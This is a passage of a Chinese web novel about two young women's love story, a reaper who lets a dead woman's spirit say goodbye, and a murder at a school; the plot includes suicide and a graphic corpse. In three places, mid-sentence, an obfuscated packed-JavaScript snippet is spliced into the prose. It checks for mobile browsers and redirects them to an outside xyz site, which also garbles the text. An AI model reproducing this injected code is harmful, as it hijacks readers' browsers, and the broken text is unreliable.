这时,老师和同学们也走了过来。他们关心了几句,见她没什么大碍又有人照顾便放下心来。老师告诉祝余医务室的位置后,继续去上课了。 祝余背着方今昭穿过了大半个操场,走到了路边把她放到了长椅上,准备扫一辆共享单车推着她去医务室。 校园里的车源总是很紧张,祝余只能往前走一段去寻找。 离开时,方今昭抓住了她的衣摆,仰头看向她。大眼睛水汪汪的,眼尾透着些红,好像被主人抛弃的小狗。 祝余被这模样可爱到了,没忍住摸了摸她的头,方今昭瞬间烧红了脸。 祝余忍着笑意,捏上她滚烫的耳尖,哄小孩似的说:“乖,等我一会儿,我去前面找一辆车。” 方今昭这才依依不舍的松开了手,放她离开。 其实刚才她并没有想拉住她。在她眼里,祝余作为朋友,能背她走出操场已经很好了,她不想再麻烦她了。 但方今昭的身体比大脑要诚实,更快一步做出了决定。 她潜意识里希望她留下来。 一直留在她身边。 祝余走后,方今昭的眼前才能装下其他世界。抬眼时,她看见熟悉的人站在马路对面,正皱着眉投来不甚愉悦的目光。 方今昭觉得自己眼瞎了,抬起手揉了揉。再睁眼时,那人已经站在了面前。 女人挑眉,狐狸似的眼尾印有几根若有似无的细纹,目光冰冷的扫了一眼她鼓起小包的脚踝,平静问道:“受伤了?” “妈妈……”方今昭怯懦地开口,眼神飘忽不定,“跑步时崴脚了,是我朋友给我背出来的。她现在去前面找车了,等下她带我去医务室。” 她的手用力扣住长椅的边缘,指甲不知痛的顶住了坚硬的木头。 “哦,什么朋友?” “我们的导员助理,好像是他们省前几名……” “这样啊。”方妈妈没再问关于祝余的事情。她蹲下身,按上方今昭肿起来的地方。她没忍住叫出了一声,赶忙抬手捂嘴。 方妈妈瞥了一眼,嫌弃的将她的手拿下来:“没洗手吧,往嘴上捂多脏。” “对,对不起。” “不用去医务室了,回家休息两天吧,假我会帮你请的。” “不用了妈妈,我有导员微信,我可以自己跟她说。” 方妈妈没说话,锐利的目光扫过方今昭的脸,随后拿出手机找到导员的电话,拨通后按了免提。 “诶,今昭妈妈您好!” “老师您好,方今昭崴脚了,我想给她请假在家休息一下,几天说不好,先请三天吧。” “没问题的,任课老师那边我去通知就好了。今昭没事吧?我明天抽空去看看她?” “没什么大事,不用来了,谢谢您。” 说完,方妈妈挂断了电话,又给司机发了一条语音,让他进学校来接她们。 方今昭全程一言不发,指甲不停扣着长椅平滑的漆面,脸色奇差。 祝余走了好远才找到了一辆车,她骑得飞快,想快点回到方今昭身边,却在路口处看见她一瘸一拐的上了一辆黑车。 车子从她身侧飞速驶过,下一秒,微信响起。 【昭昭:对不起阿余,没能等到你。我妈来了,让我回家休养几天,等我好了立马回学校来找你好吗?】 祝余叹了口气,飞速打字—— 【鱼:没关系,在家好好休息。】 方今昭到家时,医生已经坐在沙发上静静等候了。方妈妈直接上了楼,佣人扶着她坐在医生对面,开始检查。 幸运的是,这一下只是看着唬人,其实并不严重。医生酌情开了一瓶喷雾,告诉她按时喷药,休息三四天便能完全好了。 方妈妈抱着被子下楼时,医生已经走了。方今昭坐在那小口喝着水,东瞅西看,显然是在等她。 “医生说什么了?”方妈妈把被子递给了佣人,走上前坐在了方今昭身边,“严重吗?” “不严重,三四天就能好了。” “嗯。” “妈妈……” “有事就说。” “爸爸今天回来吗?” 方妈妈冷笑一声,没好气的答:“不回,这周他出差了。” 方今昭看着她乌云密布的脸,一时间不知道该不该继续说下去。 “有话就说。” “可以,不告诉爸爸吗?我不想走读。” 方妈妈沉默了一会儿,点点头:“可以。” 方今昭大胆的将头靠在了她的肩膀上:“妈妈今天怎么去学校了?” 女人愣了一下,语气故作自然的说道:“毕竟咱家投资了图书馆,还是有必要去看一下的。” “啊!那您怎么会出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815711|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在操场周围呢?是知道我有体育课特意来看我的吗?” “不是,你想多了。”方妈妈实在装不来母慈子孝,推开她的头站起身,“这些天你不方便,就住一楼的客房吧。我还有点事得回公司,晚上有应酬,不用等我了,想吃什么告诉刘姨,早休息。” 女人一股脑说完这些话,拎着包就离开了。 别墅里回归了刚才的安静,只有佣人扫洒时发出的窸窣声。 方今昭叹了口气,小声嘟囔着:“既然家里没人,把我带回来干什么……” 她的爸爸妈妈很早就离婚了,但为了公司形象考虑,一直没有公开,包括双方父母都不知道。 可笑的是他们以为她不知道,半生都在用拙劣的演技在她面前表演相敬如宾的夫妻,其实各有所爱。 每次妈妈去找男朋友欢度良宵时,都会精心打扮一番后说自己去应酬。爸爸则是去出差。 但其实方今昭知道,他们十有八九是在撒谎。 妈妈去找男朋友时,只会喷那瓶Gucci的绮梦茉莉。而今天,她喷的就是这一瓶。 在她主动坐在她身边时就闻到了,她还特意靠在她的肩膀上,确定这个味道。 她的妈妈去找男朋友了。 她今晚不会回来了。 方今昭百无聊赖地玩起手机,祝余一条新朋友圈引起了她的注意。 鱼:新奇的体验![图片] 图片显示的是两只比耶的手,背景被模糊了,看起来像一段段的台词。 方今昭的第一个想法是:祝余有新的朋友了!她会不会忘了她! 方今昭果断点开跟祝余的聊天框想问个究竟,临门一脚时却犹豫起来。 祝余交其他朋友也很正常吧,她是以什么立场问她呢?她是不是管得太宽了。 方今昭的胸中涌起一股烦躁的情绪,不开心! 她从来没有这么不开心过! 方今昭犹犹豫豫,删删减减,最终发送一条“在吗?” 发完她就后悔了。 这是什么老土的、莫名其妙的、讨人厌的、多此一举的开场白! 【鱼:怎么了昭昭?】 还好祝余回复得又快又正常,方今昭松了一口气,跟她聊起天来。 【昭昭:我看见你的朋友圈了,你在做什么呀!】 【鱼:我被导员推荐去当主持人啦~这两天一直在排练。哎,你好些了没有?】 【昭昭:看了医生,没什么大事,过两天就好啦!你在学校的事情都忙完了吗?】 【鱼:还没有T T,现在去食堂吃口饭,再不去就关门了。然后回宿舍休息一会儿,晚上继续排练。】 【昭昭:还是主席台上吗?】 【鱼:嗯嗯,是呀,毕竟到时候要在那上面演出的!】 方今昭转了转黑葡萄似的眼珠,甜腻腻的喊:“刘姨~” 一位约莫五十多岁的老妇从客房走出来,显然刚刚去给她铺床了。 方今昭是个不折不扣的豌豆公主,她住宿舍这些日子来,由于床太硬,其实一直都睡得不太好。但她贪恋跟室友一起相处的日子,这才忍下了所有不适。 方今昭站起身,往刘姨站定的地方单脚跳过去,吓得老妇赶忙弯腰去扶。 方今昭比她个子高一些,却将头靠在了她的肩膀上:“刘姨,今晚妈妈不会回来,我想去一趟学校找朋友说两句话!说完我就回来。” “你呀!小机灵鬼!”刘姨亲昵的点点她的鼻子,“可以!让你王哥载你去!他不会跟夫人说!” 王哥是刘姨的亲儿子。 “谢谢刘姨!刘姨您真好!”方今昭用发顶蹭了蹭老妇的颈窝。 她一下子就被哄得合不拢嘴:“我记得之前先生崴脚时买了一双拐,你等等喔,我去给你找找,跳来跳去太危险啦。” “好哦~” 比起母亲,刘姨更像方今昭的妈妈。 从她记事起,哄她睡觉、陪她做游戏的人,都是她。 她在父母面前必须扮演完美的乖女儿,她在她面前可以肆意做自己。 在方今昭心里,刘姨是最重要的人。 现在多了一个祝余。 18.淡淡百合香(4) 方今昭到学校时,距离跟祝余的对话已相隔一个半小时。 她猜她已经去主席台排练,便叫王哥停在了操场外,拄着拐下车了。 宽大的灯打亮了操场各处,防止晚上运动的同学看不清路。方今昭溜边走着,怕她的龟速打扰到跑步的同学。 终于,她听见了他们排练的声音。 方今昭想喊祝余的名字,又怕打扰到她,只好站在光照不到的阴影里默默看着。 一位染着金发的女生站在主席台正下方,白色的光打在她的头上,犹如天使的光环。她时不时比划停止的动作,再跟台上几人交流一阵。 看来她是他们的指导学姐。 可能是方今昭的目光太热烈,学姐注意到了她。于是叫他们休息一下,往侧边扬了扬下巴。 几人顺势看过来,纷纷与方今昭对上了目光。祝余瞪大了眼睛,惊喜地冲她招了招手,又看见那一双拐,神色中闪过一丝紧张,一溜烟儿似的小跑过来。 方今昭看着她鲜活的脸,马尾晃动出青春的弧度,目光灼灼。 这一刻,她确信,她想和她一直在一起。 无论以什么样的身份。 “所以,你追了多久?”苏月现问。 想起祝余,方今昭的脸上永远带着笑:“彩排这些日子,只要没课,我都会去陪她。后来,她在台上主持时,我在台下喊她的名字。结果,晚会举办得很成功,他们要去办庆功宴,我在她去之前拉住她说的。” 听到关键时刻,清一凑过来,一脸八卦:“她答应了?” “没有。”方今昭害羞得摸了摸变红的耳朵,“阿余是个对待感情很认真的人,她说她要好好想想,第二天晚上单独把我拉到操场上说的这个事情。她让我思考清楚,这不是一条轻易能走的路。我问她,你想清楚了吗。她说,她一直都想的很清楚。我说,我也是。” “你们能相爱六年,感情一定很好吧。” “也不是。”方今昭的目光望向前方,陷入了回忆中,“我们也会吵架,也有很多观念不合的地方。其实阿余……过得很苦,她的家人都去世了,放假时总是最后一个离校的。我说没关系啊,你要觉得孤独的话,可以去我家住,不用给钱的,她不肯。还有,每次过生日、纪念日,阿余都会送我喜欢的化妆品啊,衣服啊,这些都很贵。我沉浸在收到礼物的开心中,忘记了阿余其实没有太多钱,但她从来没有抱怨过。我是偶然看见她手机里弹出一条招临时工的群消息,才发现她一直在打零工。她就是这样的人,这样好的人。” “你也很好。” 短短四个字,苏月现说得铿锵有力。方今昭惊讶的看着她,似乎没想到她会这样说。 清一补充道:“应该说,你们都很好。” “你们都应该好好活着,活得比世界上任何一个人都要好。” “可我,已经死了。” 苏月现想安慰她一句,忽然感到掌心一热,祝余的名片又出现在她的手中,停留了几秒消失了。 苏月现是第一次替死神的班,她并不知道这是怎么回事。但凭借多年与鬼魂打交道的经验,她想,应该是祝余正徘徊在生死边缘。 苏月现在名片再次显现时,快速弯腰触碰地板。随着她眼睛变成幽幽蓝色,祝余所在的方向亮起红光,形成了一条清晰的路标。 清一看明白了怎么回事,上前抓住方今昭的手腕,问:“祝余可能会死,你要去见她吗?” 方今昭一听这话,吓得脸色更加苍白了。她颤颤巍巍地点头,将无助的目光投向苏月现。 “走吧。” 她拖家带口,一路狂奔到医院。 其实苏月现最不爱来医院。 这样每天都在经历生离死别的地方,最容易聚集鬼。有的接受得快,当下就被死神带走投胎了,有的执念深,徘徊在死亡的地方不肯走。 他们倒不伤人,就是吵。 尤其是看见鬼差,总会有两三只特别开朗的鬼跑上来问些事情。她不说显得太冷血,说多了又会招来更多的鬼,循环往复,影响上班效率啊! 但这次身边跟着清一就不同,普通的鬼面对神身上的金光,多少还是有些害怕的。哪怕这位就是个半神,也稍微管点用。 因此,他们一路畅通无阻,以最快的速度来到了抢救室中。 “200J!” 祝余的床前围满了护士,手持除颤仪的医生额间布满密集的汗珠,双目猩红地盯着监视器。 方今昭看着不省人事的祝余,一下子就哭了出来。 “阿余……” “不要喊她的名字!”苏月现在旁提醒,“她现在的魂魄极不稳定。” 下一秒,病房中回荡起仪器规律的响声,滴——滴——滴——,不知道是方今昭的呼唤起了作用,还是医生的抢救做得及时,这条命暂时救回来了。 “呜呜呜……”站在最外围的实习医生哭了出来,呜呜咽咽的说,“这个病人是我接的,她来的时候体征就不太好,没有求生意识。我们明明差不多大,为什么啊,为什么啊,为什么啊……” 女孩哭着连问三个为什么,把气氛降到了零点。虽然这次她活过来了,但是谁能保证下次呢? 她才25岁。 她明明有大好的人生。 苏月现派清一在病房里盯着祝余的状态,她带着方今昭坐在了病房外的椅子上。女孩沉默的掉眼泪,眼眶始终红红的。手中那张被攥得褶皱的纸巾干了又湿,终于在擦完这一次泪后破裂了。 “我们其实半年前就分手了。我,是不是不该叫她来婚礼……她不来的话是不是就不会死……” “所以你们并不是约定好了一起跳海?” “我没想带她的。婚礼前,我约她见面,给了她我的婚礼请柬。她问我,希望她参加吗。我说,看见她我会很有安全感。”方今昭轻哼一声,笑得苦涩,“她真的来了,但我却走了。仪式开始前,我找借口去上洗手间,从后门跑了。” “她发现你没有出现在婚礼上,去找你了?” “嗯,只有她找到我了。当时我已经往海里走的很深了,她跑过来抱住了我,我挣扎时不小心带着她摔倒了。我的人生一团糟,我没想活的……但我不想让她死,我希望她能活得好。” “她没死,她活着。”苏月现安慰她,“她今后会好好活着。” 这时,清一从病房里跑出来,神情激动的喊:“她醒了!她醒了!” 方今昭一听,立马来了精神。胡乱摸了两下脸上的泪,就想进去。 苏月现赶忙叮嘱她:“祝余的状况还不算稳定,切记,不要叫她的名字,容易把她的魂魄叫走。” 方今昭猛点头。 “这几天你再好好看看她吧,到时间了我会来接你。” 清一想跟着进去,被苏月现拦住了。 “人家小情侣的事,你跟着凑什么热闹?” 苏月现这次和清一住在了祝余病房的墙里,出什么事能立即赶到她们身边。 魂魄离体后,在现世可存活十五天。若超过这个时间还没有到下界,便会直接魂飞魄散。 这几日,苏月现一直在思考有什么更好的解决办法。她甚至跟医院里的鬼魂们进行一番交流,简单了解了一些病患的情况。 一个深夜,房门被扣响。还没等苏月现下床开门,小纸人便顺着缝隙溜了进来。它大胆的踩上了清一的身体,抓住他的衣服艰难的爬着,努力程度犹如翻过了一座山。 终于,它来到了苏月现身边,向她传达着阎王的指示。 “祝余情况已稳定,三日内带着方今昭的魂魄速归。” 像之前那样,纸人完成任务便自燃了。 红光映得苏月现的脸忽明忽暗,及腰青丝静静垂在背后,她身着白裙,坐在夜色中,这一刻真像从地狱中走出来的鬼。 她暗地里做了个决定。 苏月现开始频繁地出门,往医院各楼层跑,尤其是肿瘤科。清一再傻,也发现不对劲了。 这天,她又要出门,清一从屋里跑出来拉住了她的手。 “姐姐要去做什么?” “没什么,出去走走。” “又去肿瘤科?” “……不关你的事。” 清一皱起眉,强硬地拉着苏月现走到沙发处,将她按了下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837545|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你要做什么?告诉我。” “清一,真的没什么。” “说不明白,你今天不许走!” “这是我家!我的地盘!” “姐姐……”清一的心中生长出一丝难以言喻的情绪,像玫瑰花茎上的尖刺。每深入一寸,便带出一下尖锐的痛,渐渐缠绕住了他全部的心。 清一暗使神力,背在后面的手瞬间长出钩状的长甲。大拇指扣住食指指腹,用力划出血来。 他反手在空中画了一张符,燃烧后变成了一根金色的细线,犹如一条小蛇,灵活地潜入到了苏月现的腰部,悄无声息的将她围住。 待苏月现反应过来时,清一念出咒语,金线瞬间变紧将她捆住不得动弹。 苏月现大吼:“你疯了?!” “我没有。”清一平静回答。 他单膝跪在地上,仰头看着她满是怒意的脸,蹙着眉,一双氤氲着水汽的金瞳中尽是委屈。 “姐姐,我只是想让你说实话。”他说话时,尾音有些发颤,好像受了天大的委屈,而做了坏事的另有其人。 苏月现知道这根线的作用,越挣扎捆得越紧。强硬挣开要损耗许多怨气,不到不得已时最好不用。所以,想毫发无伤的脱困,还是要把清一哄好,让他主动解开。 “清一,你这样是不对的。”苏月现压抑着心底的怒气,心中默念他就是个小孩,轻声安抚着,“你把我放开,我就告诉你。” 清一没有动,显然是不太相信的。但苏月现敏锐的捕捉到,他听完这句话后眸子颤抖了一下,她知道他还是动摇了。 “哼,反正我这样很不舒服,没法跟你说话。”苏月现轻哼一声,扭过头去不再看他。她在心底谴责自己,堂堂阎罗殿女官,竟要靠着撒娇脱困! 哎,就该强行挣脱的! 二人僵持了一会儿,久到苏月现脖子都酸了。正头脑风暴想着其他办法,就听到他说—— “真拿你没办法。”清一叹口气,抬手收回了金线,自言自语着,“谁让我喜欢你。” 苏月现脱困后,活动活动筋骨。抱臂侧过身去,一副生气的模样。 “好啦姐姐,别生气了。”清一拉住她的胳膊,轻轻摇晃着,“理理我好不好?” 苏月现用余光撇了一眼他精致的脸,燃着怒火的心瞬间熄灭:“你以后还耍阴招吗?” “不了~”清一把头枕在她的腿上,“我是真的担心你。” “我知道。”苏月现摸了摸猫猫头,“我只是想让她们再见一次,我在肿瘤区找到了一个快去世的病人,我想让方今昭附她身……” “这次该我问你了,你疯了?!”清一起身坐到了她身侧,“连我都知道,这是违规的!你会被处罚的!” “我知道。” “知道你还做?” “我这不是,没办法了嘛。那要不,让她附我身上?” “不行,我怕你受伤。” “呃,我不会受伤。”苏月现挠挠头,“我这副躯体鬼气太重,怕伤到她的魂魄,是她会受伤……” 清一顿了一下,喃喃道:“不行。” “那怎么办嘛!” “就不能不管吗?” “……” “你的任务,在找到方今昭的那一刻就结束了。我没猜错的话,阎王已经给你指示了吧。” “你怎么知道?” “我是睡着了,不是死了。”清一拉住了苏月现的手,苦口婆心的劝说道,“姐姐,不要做规定以外的事,你向来不是如此吗?遵守规则啊。” 苏月现丧气的垂下眼:“清一,我有一种预感,如果错过这次机会,她们就再也见不到了。” 人的魂魄可以经历三次轮回,三次之后,是魂飞魄散还是飞升成神,各有命数。 但成神条件苛刻,需要这三生三世都广结善缘,没做过一件坏事。因此,大部分人最终的命运,都是魂飞魄散。 “那就让她附我的身吧。” “什么???” “我是半神,我只有一半灵魂。”清一目光灼灼,“如果这是你的愿望,我一定努力帮你实现。” 19.淡淡百合香(5) “事情就是这样,你可以附身到清一身上十分钟,但他好歹是半神,所以你多少会有些不舒服,可以克服吗?” 在清一昨晚的不懈撒娇下,苏月现妥协了。想着他身上有神性庇护,即便被鬼附身,对他的身体应该也没什么损害。 于是第二天一早,苏月现把方今昭叫到病房外,告诉她这个办法。 祝余到底是年轻,恢复得快。这几日护士时不时拉她起来坐一会儿,锻炼身体机能。现在,她不休息时,已经能坐一整日了。 距离方今昭最后的期限越来越近,并且苏月现要按时回阎罗殿述职。所以今天是最好的时机。 方今昭没犹豫,按照苏月现的指示,顺利进入了清一的身体。 “劳驾,让让。”推着病床的男人停在了她面前,方今昭赶忙侧身让路。男人对她点头示意,继续往前走了。 方今昭看向他来的方向,那里一直站着苏月现。也就是说,刚才那一行人穿过了她的身体。 原来普通人真的看不鬼,但神可能就在身边。 是否显形,全凭个人喜好。 苏月现点了点手腕上不存在的表,无声提醒着方今昭时间有限。 她这才从附身的新奇中抽离出来,赶忙推门进入了病房。 魂魄离体时间越长,对于这个世界的感知越模糊。 方今昭这几日虽然一直待在祝余的病房里,但她看得并不清楚。 这次,她通过清一的眼睛去看,祝余的模样变得无比清晰。 她瘦了不少,脸部的轮廓更突出了些,那双曾经神采奕奕的茶色眼眸,在病魔与心魔的双重摧残下,变得暗淡无光。连撩起眼皮的简单动作,都显得格外疲惫。 她犹如秋日里枯黄的落叶,挂在树枝的尖端,破败的身体摇摇欲坠。 方今昭口中活泼开朗的女孩已经死在了那片大海中,留下来的是饱受风霜、心如枯木的未亡人。 她静静坐在那,望着窗外枝桠疯长的树,死寂得像个墓碑。 方今昭走到祝余面前,蹲下身拉住了她细瘦的手。 祝余有了反应,将眼珠转过来,目光麻木地落在她身上。 “阿余……”方今昭喊得缱绻,黏腻的语气从男人的口中发出,违和感扑面而来。 祝余皱起眉,没有说话。 “我是昭昭啊。” 祝余瞪大了眼睛,茶色的眸仿佛被施了定神魔法,一动不动的盯着这张陌生的脸。 “我,我是在你上台之后跟你表的白。你没有立刻答复我,而是第二天晚上把我叫到了操场上。还有,你第一次给我过生日,买了我最喜欢的萝卜丁口红。我们第一次约会去看的电影,名字叫……” 方今昭一股脑说了好多独属于她们之间的回忆,祝余身体外面那层与现世的隔膜,随着她抛出一句句振聋发聩的话语,慢慢被打破。泪从眼角一路滑落,滴在了她们相握的手间,犹如颗颗铁钉,将这段没有善终的爱情,钉在了由血肉组成的脑中。 祝余对一切都可以变得麻木,但唯独方今昭,会一直热烈地活在她的生命中。 “昭昭……”许久未使用的嗓子变得嘶哑,她却不在乎,一声一声呼喊着这个再也叫不出的名字,“昭昭,昭昭,昭昭……” 方今昭也红了眼,但她来不及悲伤,时间所剩无几,她交代完这些话就该走了。 “阿余,我的时间不多了,听我说。你一定要在这个世界好好活着,好好吃饭,好好实现你的理想,不要因为我放弃生命。你要找一个比我更好的人,我的阿余,值得世间最好的。还有,不要去探望我的父母,这是他们应该承受的痛苦。以后想我的时候,就去那个海边,为我送上一支我最爱的百合花吧。” “昭昭,你要去哪?我要怎么做,怎么做你才能回来!” “很遗憾,我已经死了。做什么都没有用,我要去我该去的地方。”方今昭抬起手,笑着为祝余拭去满面泪痕,“好啦,今天是你最后一次为我哭泣。记住了,以后不许再为我掉眼泪了!要是被我知道了,哼哼,我肯定托梦骂你。” “阿余,今后树叶的每一次响动,都是我在呼唤你的名字。” 下一秒,方今昭的灵魂被挤了出来,回到了病房外。她承受不住离魂的冲击,虚弱的靠在苏月现的怀中。 屋内的清一看着女孩哭得梨花带雨,有些不知所措。他起身站在她对面鞠了一躬,随后,转身要走。 祝余喊住他问:“你是谁?” 清一乖乖回答:“我是,神。” “神不是能聆听人的愿望吗?我现在许愿,我想要昭昭回来,可以吗?让我付出什么都可以!” “生死不可逆,抱歉。”他说完,不忍再去看她的表情,头也不回的走出了病房。 窗外,树影摇曳,风卷起一片枯黄的叶,如蝴蝶般,在萧瑟的秋日翩翩起舞。 祝余看着这一切,笑着落下泪来,一字一顿的说:“我爱你。” 苏月现带着方今昭以最快的速度赶往阎罗殿,清一紧随其后。三个人走过黄泉路,来到奈何桥口,被摆渡翁拦下了。 老头用目光打量了清一半天,捋了捋胡子道:“这位神官,要是没什么特别的事,就不用过河了吧。” “阿翁,这是我的朋友。”苏月现赶忙说好话,“我们一起来的。” “我当然知道这是你的朋友,他也有什么要紧事需要去向阎王禀报吗?” “那倒没……” “是啊,阎罗殿也不是随便就能进的,你说对吧。” “没关系的姐姐。”清一后退一步,笑着说,“你们去吧,我在这等你。” 苏月现看着他,心中不忍,想要再跟摆渡翁求求情。老头靠在船边哼着小曲,一副别废话没得商量的样子。 苏月现重重叹口气,背起方今昭上了船,两三步的距离,却频频回头看。 清一一直弯着眼,冲她摆手。 摆渡翁解了栓在桩子上的绳,用桨用力推一把岸,船缓缓向前滑去。 苏月现向着清一的方向而坐,两人的目光交汇于忘川之上,互相冲对方挥着手。 他们眼中的彼此越来越小,越来越远,直至消失不见。 苏月现心中有些莫名的惆怅。 不知是不是因为前生的情谊加持,再加上这些日子的出生入死,清一在她心中的地位越来越重。每日都生活在一起感觉不出,一经分别,倒是体现出来了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850699|156531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她好像总在让他等。 “还想呢?”摆渡翁慢悠悠的划着船,“这就是你上次说的朋友啊。” “阿翁,为什么不让他上船?” “没什么,看他不顺眼罢了。” “……” “哎呀,我们的大白菜被拱了,你说我能让他上船?上来我也给他踹河里!” “都哪儿跟哪儿啊!” “哼,阿翁有经验,你可骗不了我。哎哟,他那小眼神,跟藏了蜜似的。你啊,没经历过这些,分分钟被拿下。” 苏月现被说得不好意思,揣起手侧过身去,不再理他。 “诶,生气了?” “……” “还是,在想那小子啊!” “阿翁!” “好了好了,不说了。”摆渡翁摇摇头,加快了划船的速度。 拖他的福,苏月现在规定期限内赶到了阎罗殿。 鸦影垂眼看着王座下跪着的两人,一言不发。大殿内气压低沉,侍从们不敢发出一点儿动静。 大约过了五分钟,他终于开口问:“方今昭?” 方今昭按照苏月现提前教给她的话术,恭敬答:“吾王盛安。” “你知道你犯了罪,要在这里消除业障,才能转世投胎吗?” “我知道。” “那我安排你去帮孟婆熬汤如何?那老婆婆今早刚来找过我,在大殿上哭了好一会儿,让我给她招个新员工。这不,现成的。” “全听王的安排。” 她的好态度让鸦影的气消了一半,他侧头与肩上的乌鸦低语,鸟儿红色的眼睛闪了闪,张开翅膀飞到了方今昭身边。 “跟着这只乌鸦走,它会带你去找孟婆。”鸦影笑眯眯的说,“好好干哦,新员工。” 方今昭离开时,侧头看了一眼仍跪在地上的苏月现,心中充满歉意。 要不是为了她,堂堂女官怎会如此。 但她的力量微渺,什么都做不了。 待方今昭走出大殿,鸦影才走下王座,站在了低眉顺眼的苏月现前。 “苏苏今天怎么这么安静?往日的伶牙俐齿呢?” “不敢。” “不敢?”鸦影气得攥紧了拳头,“你还有什么不敢的!” “抱歉。” “一句抱歉就完事了?这件事有多大风险你不是不知道!让鬼魂附身?亏你想的出来!你这样以后死神们怎么做事?就你能耐是吧!我管不了你了!” “王,抱歉,我愿意接受一切惩罚。” 苏月现积极认错的态度,让鸦影的怒火无处可发。他气得回过身捶了好几下王座上的坐垫,再指着她吼道:“苏月现!你这次任务的报酬没有了!假期全部清零!现在就去干活!不用你自己感应了,我给你指定,还在北州,我倒要看看在这个地方你还能惹什么祸!走!别碍我眼!” “收到。” 苏月现领完命,转身离开了大殿。眨眼的瞬间,瞳孔变成了蓝色。她没有去坐船,而是用怨气压缩时空,为了快点回到清一身边。 其实刚才鸦影骂她那一大串词,苏月现根本没听清,她内心只有一个想法—— 清一等太久了。 20.双生火焰(1) 苏月现赶到奈何桥口时,清一正蹲在地上扒拉石子。 圆溜溜的鹅卵石,在他掌间滚来滚去,发出哗啦哗啦的声响。 即便变成神官,也难改猫咪本性——喜欢用爪子扒拉东西。 苏月现走到他对面蹲下来:“好玩吗?” 清一闻声抬头,眸子瞬间亮起来:“姐姐你回来啦!事情都解决啦!” 苏月现点点头。 清一顿了一下,皱起眉:“阎王没罚你吧!”说着,他将脸凑过去,检查她身上是否有伤口。 苏月现惊得瞪大了眼,却没躲开,任凭他用目光细细描摹自己的脸。她的耳边再次响起快节奏的心跳声,这种它们鬼类不存在的东西。 咚——咚——咚——像是有人叩响了门扉。 这一刻,奈何桥摇身一变成鹊桥,飞舞的乌鸦化成了喜鹊。两人的呼吸纠缠到一起,空气中漂浮着暧昧的气息。 “嗯~没什么问题。”清一笑着开口,热气喷洒在苏月现脸上,惹得她心中涟漪一阵。 还没等她反应过来,清一退回了原来的位置。眨巴眨巴眼,故意问:“姐姐,你脸怎么红了?不舒服吗?” “咳咳。”苏月现清了下并没有不适的嗓子,哑声答,“没什么,我们走吧。” “这次去哪呀?” “还是在北州。” 两人穿过黄泉路,来到轮回镜前。苏月现拉起清一的手,拿出了鸦影给的定位纸,用怨气将其点燃。幽蓝的火焰自下向上将它吞噬殆尽,他们的身影开始逐渐模糊,直至消散。 抵达北州时,已是深夜。 苏月现侧头看了一眼出事的教学楼,忍不住在心中感叹:鸦影给的定位纸就是好用,不愧是阎王出品,就是比自己感应的位置更加准确。 她拿出手机地图查看,定位显示,他们现在所在的地方是北州市第六十六中学。 苏月现顺手在千度上查了一下相关资料。 这所学校在北州市极为有名,属于塞钱都进不来的那种,一本率可达百分之九十九,被人们尊称为人才输送基地。 值得注意的是,这所学校几个月前死了个人,是一名高二的女学生,名叫宋宜平,死因是高空坠落。据当时的调查表明,她是因为没考好承受不住压力,所以一跃解千愁了。 新闻没有赘述太多内容,甚至只用了很小的一个板块,贴上一张女孩的证件照,寥寥几笔写完了花季少女平淡无奇的一生。 北州市是H国著名人口大省。所谓高考,常被视为千军万马过独木桥。那么在这里,独木桥被人们砍成了木条。千军万马想从上面走过,更是难上加难。 也许,北州死了一个学生真的不足为奇。 因为永远有人在后面补位。 警察先到了一步,学校外围已被戒严。操场亮起眩目的白灯,一具男尸浑身赤裸的躺在那,唯有胯间套了一条尺码不合适的粉色短裙。他的四肢被凶手摆成了一个“大”字,腿间淌出的血流成了一条蜿蜒的小河。 凶手明显处理过现场,他擦掉了所有多余的血迹,并将尸体摆成了想要的样子后才离开,每一处细节都是心思的体现。 好在学校楼层不高,因此男人没摔成盛辉那样四分五裂,可以直接辨认出身份。听报案的保安说,这是学校里教物理的李靖老师。他专门教理科重点班,每年他们班考上985的学生都是最多的。因此,许多新生挤破头想进入他的班级,竞争十分激烈。 前几个月,死的那个女生,也是他们班的。 苏月现让清一去教学楼挨个看一眼,研究一下他是怎么掉下来的,自己则留在现场趁警察不注意时读取李靖生前的记忆。 清一先去了离事发地最近的教学楼,他检查了每一间教室的玻璃,都完好无损,也没有打破后修补的痕迹。考虑到恶鬼作祟的问题,他还用神力扫视了一遍,没有察觉到任何异常气息。 清一又上到最顶层的天台,这个地方是被封死的,由高四米的密集铁网围成,密不透风。并且最上面那层铁丝可以通电,根本不给人往下跳的机会。 除非他体力非常好,可以爬上铁网,不顾被电,一跃而下。 这所学校的每一栋教学楼都是这样的,一点问题都没有。重点在于,所有门窗当下的状态都是被锁住的。 那这人到底是怎么掉下来? 